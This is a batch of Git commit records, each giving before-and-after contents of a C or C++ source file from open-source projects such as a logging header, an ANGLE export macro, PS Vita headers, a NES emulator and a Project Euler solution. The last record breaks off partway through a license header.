{"commit":"793b2d601c9cafff4f4d1284da6fcc39bf1023d2","old_file":"common\/log.h","new_file":"common\/log.h","old_contents":"\/**\n * log.h - Header of log class\n * includes 2 methods to show warrnings and errors\n * @author Pavel Kryukov\n * Copyright 2017 MIPT-MIPS team\n *\/\n\n#ifndef LOG_H\n#define LOG_H\n\n#include <iostream>\n#include <ostream>\n\nclass LogOstream\n{\n    const bool enable;\n    std::ostream& stream;\n\npublic:\n    struct Critical { };\n\n    LogOstream(bool value, std::ostream& _out) : enable(value), stream(_out) { }\n\n    friend LogOstream& operator<<(LogOstream&, const Critical&) {\n         exit(-1);\n    }\n\n    LogOstream& operator<<(std::ostream& (*F)(std::ostream&)) {\n        if ( enable)\n            F(stream);\n        return *this;\n    }\n\n    template<typename T>\n    LogOstream& operator<<(const T& v) {\n        if ( enable) {\n            stream << v;\n        }\n\n        return *this;\n    }\n};\n\nclass Log\n{\npublic:\n    LogOstream sout;\n    LogOstream serr;\n    LogOstream::Critical critical;\n\n    Log(bool value) : sout(value, std::cout), serr(true, std::cerr), critical() { }\n    virtual ~Log() { }\n};\n\n\n#endif \/* LOG_H *\/\n","new_contents":"\/**\n * log.h - Header of log class\n * includes 2 methods to show warrnings and errors\n * @author Pavel Kryukov\n * Copyright 2017 MIPT-MIPS team\n *\/\n\n#ifndef LOG_H\n#define LOG_H\n\n#include <iostream>\n#include <ostream>\n\nclass LogOstream\n{\n    const bool enable;\n    std::ostream& stream;\n\npublic:\n    struct Critical { };\n\n    LogOstream(bool value, std::ostream& _out) : enable(value), stream(_out) { }\n\n    friend LogOstream& operator<<(LogOstream&, const Critical&) {\n         exit(-1);\n    }\n\n    LogOstream& operator<<(std::ostream& (*F)(std::ostream&)) {\n        if ( enable)\n            F(stream);\n        return *this;\n    }\n\n    template<typename T>\n    LogOstream& operator<<(const T& v) {\n        if ( enable) {\n            stream << v;\n        }\n\n        return *this;\n    }\n};\n\nclass Log\n{\npublic:\n    mutable LogOstream sout;\n    mutable LogOstream serr;\n    const LogOstream::Critical critical;\n\n    Log(bool value) : sout(value, std::cout), serr(true, std::cerr), critical() { }\n    virtual ~Log() { }\n};\n\n\n#endif \/* LOG_H *\/\n","subject":"Make serr and sout mutable to use them in const methods","message":"Make serr and sout mutable to use them in const methods\n","lang":"C","license":"mit","repos":"MIPT-ILab\/mipt-mips,MIPT-ILab\/mipt-mips,MIPT-ILab\/mipt-mips-2015,gkorepanov\/mipt-mips,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips-2015"}
{"commit":"370602bb15aaa83d5a976ea255883a8c9d0b9152","old_file":"EXAMPLE_CODE\/hw.c","new_file":"EXAMPLE_CODE\/hw.c","old_contents":"","new_contents":"\/*******************************************************************************\n *  File    : hw.c\n *  Author  : Sandeep Koranne\n *\n * Purpose  : Hello, World in C\n *\n ******************************************************************************\/\n#include <stdio.h>\n#include <stdlib.h>\nint main()\n{\n  printf(\"Hello, World!\\n\");\n  return ( EXIT_SUCCESS );\n}\n","subject":"Add hello world C example","message":"Add hello world C example\n","lang":"C","license":"cc0-1.0","repos":"skoranne\/CST223,skoranne\/CST223,skoranne\/CST223"}
{"commit":"8da70953568e44c46d7aebeea3147c029135a824","old_file":"MRHexKeyboard.h","new_file":"MRHexKeyboard.h","old_contents":"\/\/\n\/\/  MRHexKeyboard.h\n\/\/\n\/\/  Created by Mikk Rätsep on 02\/10\/13.\n\/\/  Copyright (c) 2013 Mikk Rätsep. All rights reserved.\n\/\/\n\n@import UIKit;\n\n@interface MRHexKeyboard : UIView <UITextFieldDelegate>\n\n@property(nonatomic, assign) CGFloat height;\n\n@property(nonatomic, assign) BOOL display0xButton;\n\n@property(nonatomic, assign) BOOL add0x;\n\n@end\n","new_contents":"\/\/\n\/\/  MRHexKeyboard.h\n\/\/\n\/\/  Created by Mikk Rätsep on 02\/10\/13.\n\/\/  Copyright (c) 2013 Mikk Rätsep. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface MRHexKeyboard : UIView <UITextFieldDelegate>\n\n@property(nonatomic, assign) CGFloat height;\n\n@property(nonatomic, assign) BOOL display0xButton;\n\n@property(nonatomic, assign) BOOL add0x;\n\n@end\n","subject":"Switch to importing framework header","message":"Switch to importing framework header\n\nSome Apps may not use modules\n","lang":"C","license":"mit","repos":"doofyus\/HexKeyboard"}
{"commit":"0163470450726394efaf11570daade9f34eb2f6e","old_file":"util\/util_export.h","new_file":"util\/util_export.h","old_contents":"\/\/\n\/\/ Copyright 2018 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ util_export.h : Defines ANGLE_UTIL_EXPORT, a macro for exporting symbols.\n\n#ifndef UTIL_EXPORT_H_\n#define UTIL_EXPORT_H_\n\n#if !defined(ANGLE_UTIL_EXPORT)\n#    if defined(_WIN32)\n#        if defined(LIBANGLE_UTIL_IMPLEMENTATION)\n#            define ANGLE_UTIL_EXPORT __declspec(dllexport)\n#        else\n#            define ANGLE_UTIL_EXPORT __declspec(dllimport)\n#        endif\n#    elif defined(__GNUC__)\n#        define ANGLE_UTIL_EXPORT __attribute__((visibility(\"default\")))\n#    else\n#        define ANGLE_UTIL_EXPORT\n#    endif\n#endif  \/\/ !defined(ANGLE_UTIL_EXPORT)\n\n#endif  \/\/ UTIL_EXPORT_H_\n","new_contents":"\/\/\n\/\/ Copyright 2018 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ util_export.h : Defines ANGLE_UTIL_EXPORT, a macro for exporting symbols.\n\n#ifndef UTIL_EXPORT_H_\n#define UTIL_EXPORT_H_\n\n#if !defined(ANGLE_UTIL_EXPORT)\n#    if defined(_WIN32)\n#        if defined(LIBANGLE_UTIL_IMPLEMENTATION)\n#            define ANGLE_UTIL_EXPORT __declspec(dllexport)\n#        else\n#            define ANGLE_UTIL_EXPORT __declspec(dllimport)\n#        endif\n#    elif defined(__GNUC__)\n#        if defined(LIBANGLE_UTIL_IMPLEMENTATION)\n#            define ANGLE_UTIL_EXPORT __attribute__((visibility(\"default\")))\n#        else\n#            define ANGLE_UTIL_EXPORT\n#        endif\n#    else\n#        define ANGLE_UTIL_EXPORT\n#    endif\n#endif  \/\/ !defined(ANGLE_UTIL_EXPORT)\n\n#endif  \/\/ UTIL_EXPORT_H_\n","subject":"Revert \"util: Always specify default visibility on exports.\"","message":"Revert \"util: Always specify default visibility on exports.\"\n\nThis reverts commit 2bf23ea84e4f071c18f01b94748f3be7dccc4019.\n\nReason for revert: Probably not the right fix. Will export\nall angle_utils symbols in places where they shouldn't be.\n\nOriginal change's description:\n> util: Always specify default visibility on exports.\n> \n> This fixes undefined behaviour with CFI.\n> \n> Bug: chromium:1015810\n> Bug: angleproject:3162\n> Change-Id: I58cfb78adabbff05e5b4560dfd70b190411fa26d\n> Reviewed-on: https:\/\/chromium-review.googlesource.com\/c\/angle\/angle\/+\/1869303\n> Reviewed-by: Jamie Madill <7e492b4f1c8458024932de3ba475cbf015424c30@chromium.org>\n> Commit-Queue: Jamie Madill <7e492b4f1c8458024932de3ba475cbf015424c30@chromium.org>\n\nTBR=ynovikov@chromium.org,7e492b4f1c8458024932de3ba475cbf015424c30@chromium.org\n\nChange-Id: Ie847a9e6506178eb2b14e63a1ee5e9a1775b4548\nNo-Presubmit: true\nNo-Tree-Checks: true\nNo-Try: true\nBug: chromium:1015810, angleproject:3162\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/angle\/angle\/+\/1869546\nReviewed-by: Jamie Madill <7e492b4f1c8458024932de3ba475cbf015424c30@chromium.org>\nCommit-Queue: Jamie Madill <7e492b4f1c8458024932de3ba475cbf015424c30@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"ppy\/angle,ppy\/angle,ppy\/angle,ppy\/angle"}
{"commit":"40489836d8c58602f60a2f2fa7b564754d41d7ae","old_file":"include\/psp2\/avconfig.h","new_file":"include\/psp2\/avconfig.h","old_contents":"\/**\n * \\usergroup{SceAVConfig}\n * \\usage{psp2\/avconfig.h,SceAVConfig_stub}\n *\/\n\n\n#ifndef _PSP2_AVCONFIG_H_\n#define _PSP2_AVCONFIG_H_\n\n#include <psp2\/types.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/***\n * Get the maximum brightness.\n *\n * @param[out] maxBrightness - Maximum brightness.\n *\n * @return 0 on success, < 0 on error.\n *\/\nint sceAVConfigGetDisplayMaxBrightness(int *maxBrightness);\n\n\/***\n * Set the screen brightness.\n *\n * @param brightness - Brightness that the screen will be set to (range 21-65536, 0 turns off the screen).\n *\n * @return 0 on success, < 0 on error.\n *\/\nint sceAVConfigSetDisplayBrightness(int brightness);\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n","new_contents":"\/**\n * \\usergroup{SceAVConfig}\n * \\usage{psp2\/avconfig.h,SceAVConfig_stub}\n *\/\n\n\n#ifndef _PSP2_AVCONFIG_H_\n#define _PSP2_AVCONFIG_H_\n\n#include <psp2\/types.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/***\n * Get the maximum brightness.\n *\n * @param[out] maxBrightness - Maximum brightness.\n *\n * @return 0 on success, < 0 on error.\n *\/\nint sceAVConfigGetDisplayMaxBrightness(int *maxBrightness);\n\n\/***\n * Set the screen brightness.\n *\n * @param brightness - Brightness that the screen will be set to (range 21-65536, 0 turns off the screen).\n *\n * @return 0 on success, < 0 on error.\n *\/\nint sceAVConfigSetDisplayBrightness(int brightness);\n\n\/***\n * Get the shutter volume.\n *\n * @param[out] volume - shutter volume.\n *\n * @return 0 on success, < 0 on error.\n *\/\nint sceAVConfigGetShutterVol(int *volume);\n\n\/***\n * Get the system volume.\n *\n * @param[out] volume - System volume.\n *\n * @return 0 on success, < 0 on error.\n *\/\nint sceAVConfigGetSystemVol(int *volume);\n\n\/***\n * Set the system volume.\n *\n * @param volume - volume that the device will be set to (range 0-30).\n *\n * @return 0 on success, < 0 on error.\n *\/\nint sceAVConfigSetSystemVol(int volume);\n\n\/**\n * Turns on mute.\n *\n * @return 0 on success, < 0 on error.\n *\n *\/\nint sceAVConfigMuteOn(void);\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n","subject":"Add some sceAVConfig volume functions","message":"Add some sceAVConfig volume functions\n","lang":"C","license":"mit","repos":"Rinnegatamante\/vita-headers,Rinnegatamante\/vita-headers,vitasdk\/vita-headers,vitasdk\/vita-headers,Rinnegatamante\/vita-headers,vitasdk\/vita-headers,vitasdk\/vita-headers,Rinnegatamante\/vita-headers"}
{"commit":"7cca2ec8a54c5bd937eaf08ceb49712f627d1c7a","old_file":"lib\/IRGen\/CallingConvention.h","new_file":"lib\/IRGen\/CallingConvention.h","old_contents":"\/\/===--- CallingConvention.h - Calling conventions --------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file declares the interfaces for working with abstract and\n\/\/ phsyical calling conventions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_IRGEN_CALLINGCONVENTION_H\n#define SWIFT_IRGEN_CALLINGCONVENTION_H\n\n#include \"llvm\/IR\/CallingConv.h\"\n\nnamespace llvm {\n  class AttributeSet;\n  class Value;\n}\n\nnamespace swift {\n  class ValueDecl;\n  enum class SILFunctionTypeRepresentation : uint8_t;\n\nnamespace irgen {\n  class IRGenModule;\n\n\/\/\/ Expand an abstract SIL function type representation into a physical\n\/\/\/ convention.\nllvm::CallingConv::ID expandCallingConv(IRGenModule &IGM,\n                                     SILFunctionTypeRepresentation convention);\n\n} \/\/ end namespace irgen\n} \/\/ end namespace swift\n\n#endif\n","new_contents":"\/\/===--- CallingConvention.h - Calling conventions --------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file declares the interfaces for working with abstract and\n\/\/ physical calling conventions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_IRGEN_CALLINGCONVENTION_H\n#define SWIFT_IRGEN_CALLINGCONVENTION_H\n\n#include \"llvm\/IR\/CallingConv.h\"\n\nnamespace llvm {\n  class AttributeSet;\n  class Value;\n}\n\nnamespace swift {\n  class ValueDecl;\n  enum class SILFunctionTypeRepresentation : uint8_t;\n\nnamespace irgen {\n  class IRGenModule;\n\n\/\/\/ Expand an abstract SIL function type representation into a physical\n\/\/\/ convention.\nllvm::CallingConv::ID expandCallingConv(IRGenModule &IGM,\n                                     SILFunctionTypeRepresentation convention);\n\n} \/\/ end namespace irgen\n} \/\/ end namespace swift\n\n#endif\n","subject":"Fix typo phsyical => physical","message":"Fix typo phsyical => physical","lang":"C","license":"apache-2.0","repos":"khizkhiz\/swift,khizkhiz\/swift,khizkhiz\/swift,khizkhiz\/swift,khizkhiz\/swift,khizkhiz\/swift,khizkhiz\/swift"}
{"commit":"562bd95583a33d69e31b1e9bdea8f2076d8df46a","old_file":"src\/swganh\/tre\/visitors\/objects\/object_visitor-intl.h","new_file":"src\/swganh\/tre\/visitors\/objects\/object_visitor-intl.h","old_contents":"\/\/ This file is part of SWGANH which is released under the MIT license.\n\/\/ See file LICENSE or go to http:\/\/swganh.com\/LICENSE\n#pragma once\n\nnamespace swganh\n{\nnamespace tre\n{\n\ttemplate <class T> T ObjectVisitor::attribute(const std::string& key)\n\t{\n\t\tstd::map<std::string, std::shared_ptr<boost::any>>::const_iterator it = attributes_.find(key);\n\t\tif(it != attributes_.cend())\n\t\t{\n\t\t\treturn boost::any_cast<T>(*it->second);\n\t\t}\n\t\tthrow std::runtime_error(\"Invalid type requested for attribute\");\n\t}\n}\n}\n","new_contents":"\/\/ This file is part of SWGANH which is released under the MIT license.\n\/\/ See file LICENSE or go to http:\/\/swganh.com\/LICENSE\n#pragma once\n#include<stdexcept>\nnamespace swganh\n{\nnamespace tre\n{\n\ttemplate <class T> T ObjectVisitor::attribute(const std::string& key)\n\t{\n\t\tstd::map<std::string, std::shared_ptr<boost::any>>::const_iterator it = attributes_.find(key);\n\t\tif(it != attributes_.cend())\n\t\t{\n\t\t\treturn boost::any_cast<T>(*it->second);\n\t\t}\n\t\tthrow std::runtime_error(\"Invalid type requested for attribute\");\n\t}\n}\n}\n","subject":"Fix for missing include that vs studio forgot to complain about","message":"Fix for missing include that vs studio forgot to complain about\n","lang":"C","license":"mit","repos":"anhstudios\/swganh,anhstudios\/swganh,anhstudios\/swganh"}
{"commit":"09d4f342619ac11e29128f044e3ab5c802ae7833","old_file":"include\/parrot\/enums.h","new_file":"include\/parrot\/enums.h","old_contents":"#if !defined(PARROT_ENUMS_H_GUARD)\n#define PARROT_ENUMS_H_GUARD\n\ntypedef enum {\n    NO_STACK_ENTRY_TYPE     = 0,\n    STACK_ENTRY_INT         = 1,\n    STACK_ENTRY_FLOAT       = 2,\n    STACK_ENTRY_STRING      = 3,\n    STACK_ENTRY_PMC         = 4,\n    STACK_ENTRY_POINTER     = 5,\n    STACK_ENTRY_DESTINATION = 6\n} Stack_entry_type;\n\ntypedef enum {\n    NO_STACK_ENTRY_FLAGS     = 0,\n    STACK_ENTRY_CLEANUP_FLAG = 1 << 0\n} Stack_entry_flags;\n\ntypedef enum {\n    NO_STACK_CHUNK_FLAGS     = 0,\n    STACK_CHUNK_COW_FLAG     = 1 << 0\n} Stack_chunk_flags;\n\n\n#endif\n","new_contents":"\/* enums.h\n *  Copyright: 2001-2003 The Perl Foundation.  All Rights Reserved.\n *  Overview:\n *     enums shared by much of the stack-handling code\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References: \n *\/\n\n#if !defined(PARROT_ENUMS_H_GUARD)\n#define PARROT_ENUMS_H_GUARD\n\ntypedef enum {\n    NO_STACK_ENTRY_TYPE     = 0,\n    STACK_ENTRY_INT         = 1,\n    STACK_ENTRY_FLOAT       = 2,\n    STACK_ENTRY_STRING      = 3,\n    STACK_ENTRY_PMC         = 4,\n    STACK_ENTRY_POINTER     = 5,\n    STACK_ENTRY_DESTINATION = 6\n} Stack_entry_type;\n\ntypedef enum {\n    NO_STACK_ENTRY_FLAGS     = 0,\n    STACK_ENTRY_CLEANUP_FLAG = 1 << 0\n} Stack_entry_flags;\n\ntypedef enum {\n    NO_STACK_CHUNK_FLAGS     = 0,\n    STACK_CHUNK_COW_FLAG     = 1 << 0\n} Stack_chunk_flags;\n\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil\n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","subject":"Add header and footer comments","message":"Add header and footer comments\n\n\ngit-svn-id: 6e74a02f85675cec270f5d931b0f6998666294a3@3957 d31e2699-5ff4-0310-a27c-f18f2fbe73fe\n","lang":"C","license":"artistic-2.0","repos":"ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot"}
{"commit":"8c1ce215a8dbfb004a0d105d9bae637ed166d5c3","old_file":"src\/Console.h","new_file":"src\/Console.h","old_contents":"#ifndef CONSOLE_H\n#define CONSOLE_H\n\n#include <string>\n\n#include <Cart.h>\n#include <Controller.h>\n#include <CPU.h>\n#include <PPU.h>\n#include <APU.h>\n\nclass Divider {\npublic:\n    Divider(int interval = 1) {\n\tsetInterval(interval);\n    }\n    void setInterval(int interval) {\n\tthis->interval = interval;\n\tclockCounter = interval - 1;\n    }\n    void tick() {\n\tclockCounter++;\n\tif (clockCounter == interval) {\n\t    clockCounter = 0;\n\t}\n    }\n    bool hasClocked() {\n\treturn clockCounter == 0;\n    }\n\nprivate:\n    int interval;\n    int clockCounter;\n};\n\nclass Console {\npublic:\n    Console() : cpuDivider(3) { }\n    void boot();\n    bool loadINesFile(std::string fileName);\n    uint32_t *getFrameBuffer();\n    void runForOneFrame();\n\n    Cart cart;\n    Controller controller1;\n    APU apu;\n\nprivate:\n    void tick();\n\n    PPU ppu;\n    CPU cpu;\n    Divider cpuDivider;\n};\n\n#endif\n","new_contents":"#ifndef CONSOLE_H\n#define CONSOLE_H\n\n#include <string>\n\n#include <Cart.h>\n#include <Controller.h>\n#include <CPU.h>\n#include <PPU.h>\n#include <APU.h>\n\nclass Divider {\npublic:\n    Divider(int interval = 1) {\n\tsetInterval(interval);\n    }\n    void setInterval(int interval) {\n\tthis->interval = interval;\n\tclockCounter = interval - 1;\n    }\n    void tick() {\n\tclockCounter++;\n\tif (clockCounter == interval) {\n\t    clockCounter = 0;\n\t}\n    }\n    bool hasClocked() {\n\treturn clockCounter == 0;\n    }\n\nprivate:\n    int interval;\n    int clockCounter;\n};\n\nclass Console {\npublic:\n    Console() : cpuDivider(3) { }\n    void boot();\n    bool loadINesFile(std::string fileName);\n    uint32_t *getFrameBuffer();\n    void runForOneFrame();\n\n    Controller controller1;\n\nprivate:\n    void tick();\n\n    Cart cart;\n    APU apu;\n    PPU ppu;\n    CPU cpu;\n    Divider cpuDivider;\n};\n\n#endif\n","subject":"Make cart and apu members private","message":"Make cart and apu members private\n","lang":"C","license":"mit","repos":"scottjcrouch\/ScootNES,scottjcrouch\/ScootNES,scottjcrouch\/ScootNES"}
{"commit":"44b95f9ebc976a6e5b521de7b6c44e0858b14ebf","old_file":"tests\/test_header.h","new_file":"tests\/test_header.h","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"..\/libcpsl.h\"\n#include <signal.h>\n\n#define RUNTEST(x) ((CurrentTest = #x), x(), printf(\"Test \\\"%s\\\" passed.\\n\", #x))\n\nstatic const char *CurrentTest = NULL;\n\nstatic void SigHandler(const int Signal);\n\nstatic inline void InitTestUnit(void)\n{\n\tCPSL_Configure(malloc, free, realloc);\n\tsignal(SIGABRT, SigHandler);\n\tsignal(SIGSEGV, SigHandler);\n\tsignal(SIGTERM, SigHandler);\n\tsignal(SIGILL, SigHandler);\n\tsignal(SIGFPE, SigHandler);\n\tsignal(SIGQUIT, SigHandler);\n\tsignal(SIGBUS, SigHandler);\n\t\n}\n\nstatic void SigHandler(const int Signal)\n{\n\tfprintf(stderr, \"Received signal number %d while running test \\\"%s()\\\"\\n\", Signal, CurrentTest);\n\texit(1);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"..\/libcpsl.h\"\n#include <signal.h>\n\n#define RUNTEST(x) ((CurrentTest = #x), x(), printf(\"Subtest \\\"%s\\\" passed.\\n\", #x))\n\nstatic const char *CurrentTest = NULL;\n\nstatic void SigHandler(const int Signal);\n\nstatic inline void InitTestUnit(void)\n{\n\tCPSL_Configure(malloc, free, realloc);\n\tsignal(SIGABRT, SigHandler);\n\tsignal(SIGSEGV, SigHandler);\n\tsignal(SIGTERM, SigHandler);\n\tsignal(SIGILL, SigHandler);\n\tsignal(SIGFPE, SigHandler);\n\tsignal(SIGQUIT, SigHandler);\n\tsignal(SIGBUS, SigHandler);\n\tputs(\"Running test \\\"\" __FILE__ \"\\\"\");\n}\n\nstatic void SigHandler(const int Signal)\n{\n\tfprintf(stderr, \"Received signal number %d while running test \\\"%s()\\\"\\n\", Signal, CurrentTest);\n\texit(1);\n}\n","subject":"Fix some wording for unit tests.","message":"Fix some wording for unit tests.\n","lang":"C","license":"unlicense","repos":"Subsentient\/libcpsl,Subsentient\/libcpsl,Subsentient\/libcpsl"}
{"commit":"187f9787c989c5ed8cf84a7daf010769cc3213c5","old_file":"calc.c","new_file":"calc.c","old_contents":"#include \"calc.h\"\n\n#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint calc(const char* p, int mul_div_flag)\n{\n    int i;\n    int ans;\n\n    ans = atoi(p);\n    i = 0;\n    while (p[i] != '\\0'){\n        while (isdigit(p[i])){\n            i++;\n        }\n        switch (p[i]){\n            case '+':\n                return (ans + calc(p + i + 1, 0));\n            case '-':\n                return (ans - calc(p + i + 1, 0));\n            case '*':\n                ans *= calc(p + i + 1, 1);\n                if (p[i + 1] == '('){\n                    while (p[i] != ')'){\n                        i++;\n                    }\n                }\n                i++;\n                break;\n            case '\/':\n                ans \/= calc(p + i + 1, 1);\n                if (p[i + 1] == '('){\n                    while (p[i] != ')'){\n                        i++;\n                    }\n                }\n                i++;\n                break;\n            case '(':\n                return (calc(p + i + 1, 0));\n            case ')':\n            case '\\0':\n                return (ans);\n            default:\n                puts(\"Error\");\n                return (0);\n        }\n    }\n\n    return (ans);\n}\n","new_contents":"#include \"calc.h\"\n\n#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint calc(const char* p, int mul_div_flag)\n{\n    int i;\n    int ans;\n\n    ans = atoi(p);\n    if (p[0] != '(' && mul_div_flag == 1){\n        return (ans);\n    }\n    i = 0;\n    while (p[i] != '\\0'){\n        while (isdigit(p[i])){\n            i++;\n        }\n        switch (p[i]){\n            case '+':\n                return (ans + calc(p + i + 1, 0));\n            case '-':\n                return (ans - calc(p + i + 1, 0));\n            case '*':\n                ans *= calc(p + i + 1, 1);\n                if (p[i + 1] == '('){\n                    while (p[i] != ')'){\n                        i++;\n                    }\n                }\n                i++;\n                break;\n            case '\/':\n                ans \/= calc(p + i + 1, 1);\n                if (p[i + 1] == '('){\n                    while (p[i] != ')'){\n                        i++;\n                    }\n                }\n                i++;\n                break;\n            case '(':\n                return (calc(p + i + 1, 0));\n            case ')':\n            case '\\0':\n                return (ans);\n            default:\n                puts(\"Error\");\n                return (0);\n        }\n    }\n\n    return (ans);\n}\n","subject":"Return answer when multiple or divide","message":"Return answer when multiple or divide\n","lang":"C","license":"mit","repos":"Roadagain\/Calculator,Roadagain\/Calculator"}
{"commit":"a6fb75a75e2efd5409e124ebbf89d4ca6eab0e1d","old_file":"archive\/src\/080.c","new_file":"archive\/src\/080.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <math.h>\n#include <gmp.h>\n\nint is_perfect_sq(int n)\n{\n    int s = sqrt(n);\n    return s * s == n;\n}\n\nint main(void)\n{\n    \/\/ 10^100 ~< 2^400\n    mpf_set_default_prec(512);\n\n    mpf_t a;\n    mpf_init(a);\n    int total_sum = 0;\n\n    \/\/ Count through 100 irrational roots\n    for (int i = 2; i <= 100; ++i) {\n        if (is_perfect_sq(i)) {\n            continue;\n        }\n\n        mpf_sqrt_ui(a, i);\n        int digital_sum = 0;\n\n        \/\/ Count 100 decimal digits\n        for (int i = 0; i < 100; ++i) {\n            long ip = mpf_get_ui(a);\n            digital_sum += ip % 10;\n\n            mpf_sub_ui(a, a, ip);\n            mpf_mul_ui(a, a, 10);\n        }\n\n        total_sum += digital_sum;\n    }\n\n    printf(\"%d\\n\", total_sum);\n    mpf_clear(a);\n}\n","subject":"Add solution for problem 80","message":"Add solution for problem 80\n\nThis is done using C, since GMP is already a dependency and the code is\nfairly simple.\n","lang":"C","license":"mit","repos":"tiehuis\/euler,tiehuis\/euler,tiehuis\/euler,tiehuis\/euler"}
{"commit":"040a902e166dbe1c4daaa53080f920242cb9dc71","old_file":"src\/selector.h","new_file":"src\/selector.h","old_contents":"#pragma once\n\n#include <atomic>\n\n#include \"util.h\"\n\nnamespace happyntrain {\n\ntemplate <typename SelectorImpt>\nclass Selector : NoCopy {\n  SelectorImpt _selector;\n  int64_t _id;\n\n public:\n  template <typename... Vars>\n  Selector(Vars&&... args) : _id(GetNewId()), _selector(args...) {}\n  ~Selector() {}\n\n  inline void AddChannel() { _selector.AddChannel(); }\n  inline void RemoveChannel() { _selector.RemoveChannel(); }\n  inline void UpdateChannel() { _selector.UpdateChannel(); }\n\n private:\n  static int64_t GetNewId() {\n    static std::atomic<int64_t> id(0);\n    return id++;\n  }\n};\n\n\/\/ end happyntrain\n}","new_contents":"#pragma once\n\n#include <atomic>\n\n#include \"util.h\"\n\nnamespace happyntrain {\n\nconst int kMaxSelectEvents = 2000;\n\ntemplate <typename SelectorImpt>\nclass Selector : NoCopy {\n  SelectorImpt _selector;\n  int64_t _id;\n\n public:\n  template <typename... Vars>\n  Selector(Vars&&... args) : _id(GetNewId()), _selector(args...) {}\n  ~Selector() {}\n\n  inline void AddChannel() { _selector.AddChannel(); }\n  inline void RemoveChannel() { _selector.RemoveChannel(); }\n  inline void UpdateChannel() { _selector.UpdateChannel(); }\n\n private:\n  static int64_t GetNewId() {\n    static std::atomic<int64_t> id(0);\n    return id++;\n  }\n};\n\n\/\/ end happyntrain\n}","subject":"Add constants - max events","message":"Add constants - max events\n","lang":"C","license":"mit","repos":"emengjzs\/happyntrain"}
{"commit":"2498c6a0ed3edffe5becc54b27ef86bbd33d4023","old_file":"You-DataStore\/internal\/operation.h","new_file":"You-DataStore\/internal\/operation.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATION_H_\n\n#include <unordered_map>\n#include \"..\/task_typedefs.h\"\n\nnamespace You {\nnamespace DataStore {\n\n\/\/\/ A pure virtual class of operations to be put into transaction stack\nclass IOperation {\npublic:\n\t\/\/\/ Executes the operation\n\tvirtual bool run() = 0;\nprotected:\n\tTaskId taskId;\n\tSerializedTask task;\n};\n\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATION_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATION_H_\n\n#include <unordered_map>\n#include \"..\/task_typedefs.h\"\n\nnamespace You {\nnamespace DataStore {\n\n\/\/\/ A pure virtual class of operations to be put into transaction stack\nclass IOperation {\npublic:\n\tvirtual ~IOperation();\n\t\/\/\/ Executes the operation\n\tvirtual bool run() = 0;\nprotected:\n\tTaskId taskId;\n\tSerializedTask task;\n};\n\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATION_H_\n","subject":"Add back virtual dtor for IOperation","message":"Add back virtual dtor for IOperation\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"3a41b9926ac545e4497fb2faf6cf7f22c05eb4b5","old_file":"src\/condor_utils\/perf_counter.linux.h","new_file":"src\/condor_utils\/perf_counter.linux.h","old_contents":"\/***************************************************************\n*\n* Copyright (C) 1990-2021, Condor Team, Computer Sciences Department,\n* University of Wisconsin-Madison, WI.\n* \n* Licensed under the Apache License, Version 2.0 (the \"License\"); you\n* may not use this file except in compliance with the License.  You may\n* obtain a copy of the License at\n* \n*    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n* \n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the 